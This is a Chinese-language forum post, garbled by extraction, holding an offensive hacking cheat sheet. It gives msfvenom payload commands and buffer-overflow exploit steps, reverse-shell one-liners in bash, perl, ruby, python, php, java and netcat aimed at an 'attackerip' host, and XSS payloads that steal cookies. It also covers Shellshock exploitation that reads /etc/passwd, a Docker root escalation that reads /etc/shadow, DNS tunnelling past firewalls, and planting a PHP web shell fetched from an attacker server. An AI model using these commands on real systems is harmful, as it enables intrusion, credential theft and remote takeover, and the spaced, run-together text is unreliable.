h a t t r   - i   f i l e m s f v e n o m   - p   w i n d o w s / s h e l l _ b i n d _ t c p   - a   x 8 6   - - p l a t f o r m   w i n   - b   " x 0 0 "   - f   c m s f v e n o m   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   L H O S T = X . X . X . X   L P O R T = 4 4 3   - a   x 8 6   - - p l a t f o r m   w i n   - e   x 8 6 / s h i k a t a _ g a _ n a i   - b   " x 0 0 "   - f   c C O M M O N L Y   U S E D   B A D   C H A R A C T E R S : x 0 0 x 0 a x 0 d x 2 0                                                             F o r   h t t p   r e q u e s t x 0 0 x 0 a x 0 d x 2 0 x 1 a x 2 c x 2 e 3 a x 5 c                       E n d i n g   w i t h   ( 0 n r _ ) #   常 用 命 令 : p a t t e r n   c r e a t e p a t t e r n   o f f s e t   ( E I P   A d d r e s s ) p a t t e r n   o f f s e t   ( E S P   A d d r e s s ) a d d   g a r b a g e   u p t o   E I P   v a l u e   a n d   a d d   ( J M P   E S P   a d d r e s s )   i n   E I P   .   ( E S P   =   s h e l l c o d e   ) ! p v e f i n d a d d r   p a t t e r n _ c r e a t e   5 0 0 0 ! p v e f i n d a d d r   s u g g e s t ! p v e f i n d a d d r   m o d u l e s ! p v e f i n d a d d r   n o s a f e s e h ! m o n a   c o n f i g   - s e t   w o r k i n g f o l d e r   C : M o n a % p ! m o n a   c o n f i g   - g e t   w o r k i n g f o l d e r ! m o n a   m o d ! m o n a   b y t e a r r a y   - b   " x 0 0 x 0 a " ! m o n a   p c   5 0 0 0 ! m o n a   p o   E I P ! m o n a   s u g g e s t #   h t t p s : / / e n . w i k i p e d i a . o r g / w i k i / M i c r o s o f t - s p e c i f i c _ e x c e p t i o n _ h a n d l i n g _ m e c h a n i s m s # S E H #   h t t p : / / b a i k e . b a i d u . c o m / v i e w / 2 4 3 1 3 1 . h t m ! m o n a   s u g g e s t ! m o n a   n o s a f e s e h n s e h = " x e b x 0 6 x 9 0 x 9 0 "   ( n e x t   s e h   c h a i n ) i s e h =   ! p v e f i n d a d d r   p 1   - n   - o   - i   ( P O P   P O P   R E T R U N   o r   P O P r 3 2 , P O P r 3 2 , R E T N ) #   h t t p s : / / e n . w i k i p e d i a . o r g / w i k i / R e t u r n - o r i e n t e d _ p r o g r a m m i n g #   h t t p s : / / z h . w i k i p e d i a . o r g / w i k i / % E 8 % B F % 9 4 % E 5 % 9 B % 9 E % E 5 % A F % B C % E 5 % 9 0 % 9 1 % E 7 % B C % 9 6 % E 7 % A 8 % 8 B #   h t t p s : / / e n . w i k i p e d i a . o r g / w i k i / D a t a _ E x e c u t i o n _ P r e v e n t i o n #   h t t p : / / b a i k e . b a i d u . c o m / i t e m / D E P / 7 6 9 4 6 3 0
A S L R   –   地 址 空 间 格 局 随 机 化 寻 蛋 寻 蛋 ( E G G   H u n t e r ) 技 术 技 术 E g g   h u n t i n g 这 种 技 术 可 以 被 归 为 “ 分 级 s h e l l c o d e ” ， 它 主 要 可 以 支 持 你 用 一 小 段 特 制 的 s h e l l c o d e 来 找 到 你 的 实 际 的 （ 更 大 的 ） s h e l l c o d e （ 我 们 的 ‘ 鸡 蛋 ‘ ） ， 原 理 就 是 通 过 在 内 存 中 搜 索 我 们 的 最 终 s h e l l c o d e 。 换 句 话 说 ， 一 段 短 代 码 先 执 行 ， 然 后 再 去 寻 找 真 正 的 s h e l l c o d e 并 执 行 。 –   参 考 自 看 雪 论 坛 ， 更 多 详 情 可 以 查 阅 我 在 代 码 注 释 中 增 加 的 链 接 。 G D B   D e b u g g e r   常 用 命 令 常 用 命 令 B A S H   反 弹 反 弹   S h e l l P E R L   反 弹 反 弹   S h e l l ! m o n a   m o d u l e s ! m o n a   r o p f u n c   - m   * . d l l   - c p b   " x 0 0 x 0 9 x 0 a " ! m o n a   r o p   - m   * . d l l   - c p b   " x 0 0 x 0 9 x 0 a "   ( a u t o   s u g g e s t ) #   h t t p s : / / e n . w i k i p e d i a . o r g / w i k i / A d d r e s s _ s p a c e _ l a y o u t _ r a n d o m i z a t i o n #   h t t p : / / b a i k e . b a i d u . c o m / v i e w / 3 8 6 2 3 1 0 . h t m ! m o n a   n o a s l r #   h t t p s : / / w w w . c o r e l a n . b e / i n d e x . p h p / 2 0 1 0 / 0 1 / 0 9 / e x p l o i t - w r i t i n g - t u t o r i a l - p a r t - 8 - w i n 3 2 - e g g - h u n t i n g / #   h t t p : / / w w w . p e d i y . c o m / k s s d / p e d i y 1 2 / 1 1 6 1 9 0 / 8 3 1 7 9 3 / 4 5 2 4 8 . p d f #   h t t p : / / w w w . f u z z y s e c u r i t y . c o m / t u t o r i a l s / e x p D e v / 4 . h t m l ! m o n a   j m p   - r   e s p ! m o n a   e g g   - t   l x x l x e b x c 4   ( j u m p   b a c k w a r d   - 6 0 ) b u f f = l x x l l x x l + s h e l l ! m o n a   e g g   - t   ' w 0 0 t ' #   设 置 断 点 b r e a k   * _ s t a r t #   执 行 下 一 个 命 令 n e x t s t e p n s #   继 续 执 行 c o n t i n u e c #   数 据 c h e c k i n g   ' R E G I S T E R S '   a n d   ' M E M O R Y ' #   显 示 寄 存 器 的 值 :   ( D e c i m a l , B i n a r y , H e x ) p r i n t   / d   – >   D e c i m a l p r i n t   / t   – >   B i n a r y p r i n t   / x   – >   H e x O / P   : ( g d b )   p r i n t   / d   $ e a x $ 1 7   =   1 3 ( g d b )   p r i n t   / t   $ e a x $ 1 8   =   1 1 0 1 ( g d b )   p r i n t   / x   $ e a x $ 1 9   =   0 x d ( g d b ) #   显 示 特 定 内 存 地 址 的 值 c o m m a n d   :   x / n y z   ( E x a m i n e ) n   – >   N u m b e r   o f   f i e l d s   t o   d i s p l a y   = = > y   – >   F o r m a t   f o r   o u t p u t   = = >   c   ( c h a r a c t e r )   ,   d   ( d e c i m a l )   ,   x   ( H e x a d e c i m a l ) z   – >   S i z e   o f   f i e l d   t o   b e   d i s p l a y e d   = = >   b   ( b y t e )   ,   h   ( h a l f w o r d ) ,   w   ( w o r d   3 2   B i t ) b a s h   - i   > &   / d e v / t c p / X . X . X . X / 4 4 3   0 > & 1 e x e c   / b i n / b a s h   0 & 0   2 > & 0 e x e c   / b i n / b a s h   0 & 0   2 > & 0 0 < & 1 9 6 ; e x e c   1 9 6 < > / d e v / t c p / a t t a c k e r i p / 4 4 4 4 ;   s h   < & 1 9 6   > & 1 9 6   2 > & 1 9 6 0 < & 1 9 6 ; e x e c   1 9 6 < > / d e v / t c p / a t t a c k e r i p / 4 4 4 4 ;   s h   < & 1 9 6   > & 1 9 6   2 > & 1 9 6 e x e c   5 < > / d e v / t c p / a t t a c k e r i p / 4 4 4 4   c a t   < & 5   |   w h i l e   r e a d   l i n e ;   d o   $ l i n e   2 > & 5   > & 5 ;   d o n e   #   o r :   w h i l e   r e a d   l i n e   0 < & 5 ;   d o   $ l i n e   2 > & 5   > & 5 ;   d o n e e x e c   5 < > / d e v / t c p / a t t a c k e r i p / 4 4 4 4 c a t   < & 5   |   w h i l e   r e a d   l i n e ;   d o   $ l i n e   2 > & 5   > & 5 ;   d o n e   #   o r : w h i l e   r e a d   l i n e   0 < & 5 ;   d o   $ l i n e   2 > & 5   > & 5 ;   d o n e / b i n / b a s h   - i   >   / d e v / t c p / a t t a c k e r i p / 8 0 8 0   0 < & 1   2 > & 1 / b i n / b a s h   - i   >   / d e v / t c p / X . X . X . X / 4 4 3   0 < & 1   2 > & 1
R U B Y   反 弹 反 弹   S h e l l P Y T H O N   反 弹 反 弹   S h e l l P H P   反 弹 反 弹   S h e l l J A V A   反 弹 反 弹   S h e l l N E T C A T   反 弹 反 弹   S h e l l T E L N E T   反 弹 反 弹   S h e l l X T E R M   反 弹 反 弹   S h e l l X S S   备 忘 录 备 忘 录 p e r l   - M I O   - e   ' $ p = f o r k ; e x i t , i f ( $ p ) ; $ c = n e w   I O : : S o c k e t : : I N E T ( P e e r A d d r , " a t t a c k e r i p : 4 4 3 " ) ; S T D I N - > f d o p e n ( $ c , r ) ; $ ~ - > f d o p e n ( $ c , w ) ; s y s t e m $ _   w h i l e < > ; ' #   W i n   平 台 p e r l   - M I O   - e   ' $ c = n e w   I O : : S o c k e t : : I N E T ( P e e r A d d r , " a t t a c k e r i p : 4 4 4 4 " ) ; S T D I N - > f d o p e n ( $ c , r ) ; $ ~ - > f d o p e n ( $ c , w ) ; s y s t e m $ _   w h i l e < > ; ' p e r l   - e   ' u s e   S o c k e t ; $ i = " 1 0 . 0 . 0 . 1 " ; $ p = 1 2 3 4 ; s o c k e t ( S , P F _ I N E T , S O C K _ S T R E A M , g e t p r o t o b y n a m e ( " t c p " ) ) ; i f ( c o n n e c t ( S , s o c k a d d r _ i n ( $ p , i n e t _ a t o n ( $ i ) ) ) ) { o p e n ( S T D I N , " > & S " ) ; o p e n ( S T D O U T , " > & S " ) ; o p e n ( S T D E R R , " > & S " ) ; e x e c ( " / b i n / s h   - i " ) ; } ; ’ r u b y   - r s o c k e t   - e   ' e x i t   i f   f o r k ; c = T C P S o c k e t . n e w ( " a t t a c k e r i p " , " 4 4 3 " ) ; w h i l e ( c m d = c . g e t s ) ; I O . p o p e n ( c m d , " r " ) { | i o | c . p r i n t   i o . r e a d } e n d ' #   W i n   平 台 r u b y   - r s o c k e t   - e   ' c = T C P S o c k e t . n e w ( " a t t a c k e r i p " , " 4 4 3 " ) ; w h i l e ( c m d = c . g e t s ) ; I O . p o p e n ( c m d , " r " ) { | i o | c . p r i n t   i o . r e a d } e n d ' r u b y   - r s o c k e t   - e   ' f = T C P S o c k e t . o p e n ( " a t t a c k e r i p " , " 4 4 3 " ) . t o _ i ; e x e c   s p r i n t f ( " / b i n / s h   - i   < & % d   > & % d   2 > & % d " , f , f , f ) ' p y t h o n   - c   ' i m p o r t   s o c k e t , s u b p r o c e s s , o s ; s = s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T , s o c k e t . S O C K _ S T R E A M ) ; s . c o n n e c t ( ( " a t t a c k e r i p " , 4 4 3 ) ) ; o s . d u p 2 ( s . f i l e n o ( ) , 0 ) ;   o s . d u p 2 ( s . f i l e n o ( ) , 1 ) ;   o s . d u p 2 ( s . f i l e n o ( ) , 2 ) ; p = s u b p r o c e s s . c a l l ( [ " / b i n / s h " , " - i " ] ) ; ' p h p   - r   ' $ s o c k = f s o c k o p e n ( " a t t a c k e r i p " , 4 4 3 ) ; e x e c ( " / b i n / s h   - i   < & 3   > & 3   2 > & 3 " ) ; r   =   R u n t i m e . g e t R u n t i m e ( ) p   =   r . e x e c ( [ " / b i n / b a s h " , " - c " , " e x e c   5 < > / d e v / t c p / a t t a c k e r i p / 4 4 3 ; c a t   < & 5   |   w h i l e   r e a d   l i n e ;   d o   $ l i n e   2 > & 5   > & 5 ;   d o n e " ]   a s   S t r i n g [ ] ) p . w a i t F o r ( ) n c   - e   / b i n / s h   a t t a c k e r i p   4 4 4 4 n c   - e   / b i n / s h   1 9 2 . 1 6 8 . 3 7 . 1 0   4 4 3 #   如 果   - e   参 数 被 禁 用 ， 可 以 尝 试 以 下 命 令 #   m k n o d   b a c k p i p e   p   & &   n c   a t t a c k e r i p   4 4 3   0 < b a c k p i p e   |   / b i n / b a s h   1 > b a c k p i p e / b i n / s h   |   n c   a t t a c k e r i p   4 4 3 r m   - f   / t m p / p ;   m k n o d   / t m p / p   p   & &   n c   a t t a c k e r i p   4 4 4 3   0 / t m p / #   如 果 你 安 装 错 了   n e t c a t   的 版 本 ， 请 尝 试 以 下 命 令 r m   / t m p / f ; m k f i f o   / t m p / f ; c a t   / t m p / f | / b i n / s h   - i   2 > & 1 | n c   a t t a c k e r i p   > / t m p / f   #   如 果   n e t c a t   不 可 用 或 者   / d e v / t c p m k n o d   b a c k p i p e   p   & &   t e l n e t   a t t a c k e r i p   4 4 3   0 < b a c k p i p e   |   / b i n / b a s h   1 > b a c k p i p e #   h t t p : / / b a i k e . b a i d u . c o m / v i e w / 4 1 8 6 2 8 . h t m #   开 启   X   服 务 器   ( : 1   –   监 听   T C P   端 口   6 0 0 1 ) a p t - g e t   i n s t a l l   x n e s t X n e s t   : 1 #   记 得 授 权 来 自 目 标   I P   的 连 接 x t e r m   - d i s p l a y   1 2 7 . 0 . 0 . 1 : 1 #   授 权 访 问 x h o s t   + t a r g e t i p #   在 目 标 机 器 上 连 接 回 我 们 的   X   服 务 器 x t e r m   - d i s p l a y   a t t a c k e r i p : 1 / u s r / o p e n w i n / b i n / x t e r m   - d i s p l a y   a t t a c k e r i p : 1 o r $   D I S P L A Y = a t t a c k e r i p : 0   x t e r m h t t p s : / / w w w . o w a s p . o r g / i n d e x . p h p / X S S _ F i l t e r _ E v a s i o n _ C h e a t _ S h e e t ( " <   i f r a m e s   >   s r c = h t t p : / / I P : P O R T   < /   i f r a m e s   > " ) < s c r i p t > d o c u m e n t . l o c a t i o n = h t t p : / / I P : P O R T < / s c r i p t > ' ; a l e r t ( S t r i n g . f r o m C h a r C o d e ( 8 8 , 8 3 , 8 3 ) ) / / ' ; a l e r t ( S t r i n g . f r o m C h a r C o d e ( 8 8 , 8 3 , 8 3 ) ) / / " ; a l e r t ( S t r i n g . f r o m C h a r C o d e ( 8 8 , 8 3 , 8 3 ) ) / / " ; a l e r t ( S t r i n g . f r o m C h a r C o d e ( 8 8 , 8 3 , 8 3 ) ) / / – > < / S C R I P T > " > ' > < S C R I P T > a l e r t ( S t r i n g . f r o m C h a r C o d e ( 8 8 , 8 3 , 8 3 ) ) < / S C R I P T > " ; ! – " < X S S > = & a m p ; a m p ; { ( ) } < I M G   S R C = " j a v a s c r i p t : a l e r t ( ' X S S ' ) ; " > < I M G   S R C = j a v a s c r i p t : a l e r t ( ' X S S ' ) > < I M G   " " " > < S C R I P T > a l e r t ( " X S S " ) < / S C R I P T > " " > < I M G   S R C = & a m p ; a m p ; # 1 0 6 ; & a m p ; a m p ; # 9 7 ; & a m p ; a m p ; # 1 1 8 ; & a m p ; a m p ; # 9 7 ; & a m p ; a m p ; # 1 1 5 ; & a m p ; a m p ; # 9 9 ; & a m p ; a m p ; # 1 1 4 ; & a m p ; a m p ; # 1 0 5 ; & a m p ; a m p ; # 1 1 2 ; & a m p ; a m p ; # 1 1 6 ; & a m p ; a m p ; # 5 8 ; & a m p ; a m p ; # 9 7 ; & a m p ; a m p ; # 1 0 8 ; & a m p ; a m p ; # 1 0 1 ; & a m p ; a m p ; # 1 1 4 ; & a m p ; a m p ; # 1 1 6 ; & a m p ; a m p ; # 4 0 ; & a m p ; a m p ; # 3 9 ; & a m p ; a m p ; # 8 8 ; & a m p ; a m p ; # 8 3 ; & a m p ; a m p ; # 8 3 ; & a m p ; a m p ; # 3 9 ; & a m p ; a m p ; # 4 1 ; > < I M G  
S S H   O v e r   S C T P   ( 使 用 使 用   S o c a t ) 使 用 洋 葱 网 络 使 用 洋 葱 网 络 M e t a g o o f i l   –   元 数 据 收 集 工 具 元 数 据 收 集 工 具 注 ： M e t a g o o f i l   是 一 款 利 用 G o o g l e 收 集 信 息 的 工 具 。 利 用 利 用   S h e l l s h o c k 获 取 获 取   D o c k e r   的 的   R o o t S R C = & a m p ; a m p ; # 0 0 0 0 1 0 6 & a m p ; a m p ; # 0 0 0 0 0 9 7 & a m p ; a m p ; # 0 0 0 0 1 1 8 & a m p ; a m p ; # 0 0 0 0 0 9 7 & a m p ; a m p ; # 0 0 0 0 1 1 5 & a m p ; a m p ; # 0 0 0 0 0 9 9 & a m p ; a m p ; # 0 0 0 0 1 1 4 & a m p ; a m p ; # 0 0 0 0 1 0 5 & a m p ; a m p ; # 0 0 0 0 1 1 2 & a m p ; a m p ; # 0 0 0 0 1 1 6 & a m p ; a m p ; # 0 0 0 0 0 5 8 & a m p ; a m p ; # 0 0 0 0 0 9 7 & a m p ; a m p ; # 0 0 0 0 1 0 8 & a m p ; a m p ; # 0 0 0 0 1 0 1 & a m p ; a m p ; # 0 0 0 0 1 1 4 & a m p ; a m p ; # 0 0 0 0 1 1 6 & a m p ; a m p ; # 0 0 0 0 0 4 0 & a m p ; a m p ; # 0 0 0 0 0 3 9 & a m p ; a m p ; # 0 0 0 0 0 8 8 & a m p ; a m p ; # 0 0 0 0 0 8 3 & a m p ; a m p ; # 0 0 0 0 0 8 3 & a m p ; a m p ; # 0 0 0 0 0 3 9 & a m p ; a m p ; # 0 0 0 0 0 4 1 > < I M G   S R C = " j a v   a s c r i p t : a l e r t ( ' X S S ' ) ; " > p e r l   - e   ' p r i n t   " < I M G   S R C = j a v a s c r i p t : a l e r t ( " X S S " ) > " ; '   >   o u t < B O D Y   o n l o a d ! # $ % & a m p ; ( ) * ~ + - _ . , : ; ? @ [ / | ] ^ ` = a l e r t ( " X S S " ) > ( " > <   i f r a m e s   h t t p : / / g o o g l e . c o m   <   i f r a m e s   > ) < B O D Y   B A C K G R O U N D = " j a v a s c r i p t : a l e r t ( ' X S S ' ) " > < F R A M E S E T > < F R A M E   S R C = ” j a v a s c r i p t : a l e r t ( ' X S S ' ) ; " > < / F R A M E S E T > " > < s c r i p t   > a l e r t ( d o c u m e n t . c o o k i e ) < / s c r i p t > % 2 5 3 c s c r i p t % 2 5 3 e a l e r t ( d o c u m e n t . c o o k i e ) % 2 5 3 c / s c r i p t % 2 5 3 e " > < s " % 2 b " c r i p t > a l e r t ( d o c u m e n t . c o o k i e ) < / s c r i p t > % 2 2 / % 3 E % 3 C B O D Y % 2 0 o n l o a d = ’ d o c u m e n t . w r i t e ( % 2 2 % 3 C s % 2 2 % 2 b % 2 2 c r i p t % 2 0 s r c = h t t p : / / m y . b o x . c o m / x s s . j s % 3 E % 3 C / s c r i p t % 3 E % 2 2 ) ' % 3 E < i m g   s r c = a s d f   o n e r r o r = a l e r t ( d o c u m e n t . c o o k i e ) >   远 端 服 务 器 #   假 设 你 准 备 让   S C T P   s o c k e t   监 听 端 口   8 0 / S C T P   并 且   s s h d   端 口 在   2 2 / T C P $   s o c a t   S C T P - L I S T E N : 8 0 , f o r k   T C P : l o c a l h o s t : 2 2 #   本 地 端 #   将   S E R V E R _ I P   换 成 远 端 服 务 器 的 地 址 ， 然 后 将   8 0   换 成   S C T P   监 听 的 端 口 号 $   s o c a t   T C P - L I S T E N : 1 3 3 7 , f o r k   S C T P : S E R V E R _ I P : 8 0 #   创 建   s o c k s   代 理 #   替 换   u s e r n a m e   和   - p   的 端 口 号 $   s s h   - l u s e r n a m e   l o c a l h o s t   - D   8 0 8 0   - p   1 3 3 7 #   安 装 服 务 $   a p t - g e t   i n s t a l l   t o r   t o r s o c k s #   绑 定   s s h   到   t o r   服 务 端 口   8 0 #   / e t c / t o r / t o r r c S o c k s P o l i c y   a c c e p t   1 2 7 . 0 . 0 . 1 S o c k s P o l i c y   a c c e p t   1 9 2 . 1 6 8 . 0 . 0 / 1 6 L o g   n o t i c e   f i l e   / v a r / l o g / t o r / n o t i c e s . l o g R u n A s D a e m o n   1 H i d d e n S e r v i c e D i r   / v a r / l i b / t o r / s s h _ h i d d e n _ s e r v i c e / H i d d e n S e r v i c e P o r t   8 0   1 2 7 . 0 . 0 . 1 : 2 2 P u b l i s h S e r v e r D e s c r i p t o r   0 $   / e t c / i n i t . d / t o r   s t a r t $   c a t   / v a r / l i b / t o r / s s h _ h i d d e n _ s e r v i c e / h o s t n a m e 3 l 5 z s t v t 1 z k 5 j h l 6 6 2 . o n i o n #   s s h   客 户 端 连 接 $   a p t - g e t   i n s t a l l   t o r s o c k s $   t o r s o c k s   s s h   l o g i n @ 3 l 5 z s t v t 1 z k 5 j h l 6 6 2 . o n i o n   - p   8 0 #   h t t p : / / w w w . e d g e - s e c u r i t y . c o m / m e t a g o o f i l . p h p #   它 可 以 自 动 在 搜 素 引 擎 中 检 索 和 分 析 文 件 ， 还 具 有 提 供 M a c 地 址 ， 用 户 名 列 表 等 其 他 功 能 $   p y t h o n   m e t a g o o f i l . p y   - d   e x a m p l e . c o m   - t   d o c , p d f   - l   2 0 0   - n   5 0   - o   e x a m p l e f i l e s   - f   r e s u l t s . h t m l #   一 个 发 现 并 利 用 服 务 器   S h e l l s h o c k   的 工 具 #   h t t p s : / / g i t h u b . c o m / n c c g r o u p / s h o c k e r $   . / s h o c k e r . p y   - H   1 9 2 . 1 6 8 . 5 6 . 1 1 8     - - c o m m a n d   " / b i n / c a t   / e t c / p a s s w d "   - c   / c g i - b i n / s t a t u s   - - v e r b o s e #   查 看 文 件 $   e c h o   - e   " H E A D   / c g i - b i n / s t a t u s   H T T P / 1 . 1 r n U s e r - A g e n t :   ( )   {   : ; } ;   e c h o   $ ( < / e t c / p a s s w d ) r n H o s t :   v u l n e r a b l e r n C o n n e c t i o n :   c l o s e r n r n "   |   n c   1 9 2 . 1 6 8 . 5 6 . 1 1 8   8 0 #   绑 定   s h e l l $   e c h o   - e   " H E A D   / c g i - b i n / s t a t u s   H T T P / 1 . 1 r n U s e r - A g e n t :   ( )   {   : ; } ;   / u s r / b i n / n c   - l   - p   9 9 9 9   - e   / b i n / s h r n H o s t :   v u l n e r a b l e r n C o n n e c t i o n :   c l o s e r n r n "   |   n c   1 9 2 . 1 6 8 . 5 6 . 1 1 8   8 0 #   反 弹   S h e l l $   n c   - l   - p   4 4 3 $   e c h o   " H E A D   / c g i - b i n / s t a t u s   H T T P / 1 . 1 r n U s e r - A g e n t :   ( )   {   : ; } ;   / u s r / b i n / n c   1 9 2 . 1 6 8 . 5 6 . 1 0 3   4 4 3   - e   / b i n / s h r n H o s t :   v u l n e r a b l e r n C o n n e c t i o n :   c l o s e r n r n "   |   n c   1 9 2 . 1 6 8 . 5 6 . 1 1 8   8 0 #   获 取     D o c k e r   的   R o o t #   u s e r   必 须 在   d o c k e r   用 户 组 中 e k @ v i c t u m : ~ / d o c k e r - t e s t $   i d u i d = 1 0 0 1 ( e k )   g i d = 1 0 0 1 ( e k )   g r o u p s = 1 0 0 1 ( e k ) , 1 1 4 ( d o c k e r )
使 用 使 用   D N S   隧 道 绕 过 防 火 墙 隧 道 绕 过 防 火 墙 编 译 编 译   A s s e m b l e   代 码 代 码 使 用 非 交 互 使 用 非 交 互   S h e l l   打 入 内 网 打 入 内 网 利 用 利 用   P O S T   远 程 命 令 执 行 获 取 远 程 命 令 执 行 获 取   S h e l l e k @ v i c t u m : ~ $   m k d i r   d o c k e r - t e s t e k @ v i c t u m : ~ $   c d   d o c k e r - t e s t e k @ v i c t u m : ~ $   c a t   >   D o c k e r f i l e F R O M   d e b i a n : w h e e z y E N V   W O R K D I R   / s t u f f R U N   m k d i r   - p   $ W O R K D I R V O L U M E   [   $ W O R K D I R   ] W O R K D I R   $ W O R K D I R < <   E O F e k @ v i c t u m : ~ $   d o c k e r   b u i l d   - t   m y - d o c k e r - i m a g e   . e k @ v i c t u m : ~ $   d o c k e r   r u n   - v   $ P W D : / s t u f f   - t   m y - d o c k e r - i m a g e   / b i n / s h   - c   ' c p   / b i n / s h   / s t u f f   & &   c h o w n   r o o t . r o o t   / s t u f f / s h   & &   c h m o d   a + s   / s t u f f / s h ' . / s h w h o a m i #   r o o t e k @ v i c t u m : ~ $   d o c k e r   r u n   - v   / e t c : / s t u f f   - t   m y - d o c k e r - i m a g e   / b i n / s h   - c   ' c a t   / s t u f f / s h a d o w ' #   让 数 据 和 命 令 使 用   D N S   隧 道 传 输 以 绕 过 防 火 墙 的 检 查 #   d n s c a t 2   支 持 从 目 标 主 机 上 面 上 传 和 下 载 命 令 来 获 取 文 件 、 数 据 和 程 序 #   服 务 器   ( 攻 击 者 ) $   a p t - g e t   u p d a t e $   a p t - g e t   - y   i n s t a l l   r u b y - d e v   g i t   m a k e   g + + $   g e m   i n s t a l l   b u n d l e r $   g i t   c l o n e   h t t p s : / / g i t h u b . c o m / i a g o x 8 6 / d n s c a t 2 . g i t $   c d   d n s c a t 2 / s e r v e r $   b u n d l e   i n s t a l l $   r u b y   . / d n s c a t 2 . r b d n s c a t 2 >   N e w   s e s s i o n   e s t a b l i s h e d :   1 6 0 5 9 d n s c a t 2 >   s e s s i o n   - i   1 6 0 5 9 #   客 户 机   ( 目 标 ) #   h t t p s : / / d o w n l o a d s . s k u l l s e c u r i t y . o r g / d n s c a t 2 / #   h t t p s : / / g i t h u b . c o m / l u k e b a g g e t t / d n s c a t 2 - p o w e r s h e l l $   d n s c a t   - - h o s t   < d n s c a t   s e r v e r _ i p > $   n a s m   - f   e l f 3 2   s i m p l e 3 2 . a s m   - o   s i m p l e 3 2 . o $   l d   - m   e l f _ i 3 8 6   s i m p l e 3 2 . o   s i m p l e 3 2 $   n a s m   - f   e l f 6 4   s i m p l e . a s m   - o   s i m p l e . o $   l d   s i m p l e . o   - o   s i m p l e #   生 成   s h e l l   使 用 的   s s h   密 钥 $   w g e t   - O   -   - q   " h t t p : / / d o m a i n . t k / s h . p h p ? c m d = w h o a m i " $   w g e t   - O   -   - q   " h t t p : / / d o m a i n . t k / s h . p h p ? c m d = s s h - k e y g e n   - f   / t m p / i d _ r s a   - N   " "   " $   w g e t   - O   -   - q   " h t t p : / / d o m a i n . t k / s h . p h p ? c m d = c a t   / t m p / i d _ r s a " #   增 加 用 户   t e m p u s e r   $   u s e r a d d   - m   t e m p u s e r $   m k d i r   / h o m e / t e m p u s e r / . s s h   & &   c h m o d   7 0 0   / h o m e / t e m p u s e r / . s s h $   w g e t   - O   -   - q   " h t t p : / / d o m a i n . t k / s h . p h p ? c m d = c a t   / t m p / i d _ r s a "   >   / h o m e / t e m p u s e r / . s s h / a u t h o r i z e d _ k e y s $   c h m o d   7 0 0   / h o m e / t e m p u s e r / . s s h / a u t h o r i z e d _ k e y s $   c h o w n   - R   t e m p u s e r : t e m p u s e r   / h o m e / t e m p u s e r / . s s h #   反 弹   s s h   s h e l l $   w g e t   - O   -   - q   " h t t p : / / d o m a i n . t k / s h . p h p ? c m d = s s h   - i   / t m p / i d _ r s a   - o   S t r i c t H o s t K e y C h e c k i n g = n o   - R   1 2 7 . 0 . 0 . 1 : 8 0 8 0 : 1 9 2 . 1 6 8 . 2 0 . 1 3 : 8 0 8 0   - N   - f   t e m p u s e r @ < a t t a c k e r _ i p > " a t t a c k e r : ~ $   c u r l   - i   - s   - k     - X   ' P O S T '   - - d a t a - b i n a r y   $ ' I P = % 3 B w h o a m i & s u b m i t = s u b m i t '   ' h t t p : / / v i c t u m . t k / c o m m a n d . p h p ' a t t a c k e r : ~ $   c u r l   - i   - s   - k     - X   ' P O S T '   - - d a t a - b i n a r y   $ ' I P = % 3 B e c h o + % 2 7 % 3 C % 3 F p h p + s y s t e m % 2 8 % 2 4 _ G E T % 5 B % 2 2 c m d % 2 2 % 5 D % 2 9 % 3 B + % 3 F % 3 E % 2 7 + % 3 E + . . % 2 F s h e l l . p h p & s u b m i t = s u b m i t '   ' h t t p : / / v i c t u m . t k / c o m m a n d . p h p ' a t t a c k e r : ~ $   c u r l   h t t p : / / v i c t u m . t k / s h e l l . p h p ? c m d = i d #   在 服 务 器 上 下 载   s h e l l   ( p h p s h e l l . p h p ) h t t p : / / v i c t u m . t k / s h e l l . p h p ? c m d = p h p % 2 0 - r % 2 0 % 2 7 f i l e _ p u t _ c o n t e n t s % 2 8 % 2 2 p h p s h e l l . p h p % 2 2 , % 2 0 f o p e n % 2 8 % 2 2 h t t p : / / a t t a c k e r . t k / p h p s h e l l . t x t % 2 2 , % 2 0 % 2 7 r % 2 7 % 2 9 % 2 9 ; % 2 7 #   运 行   n c   并 执 行   p h p s h e l l . p h p
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理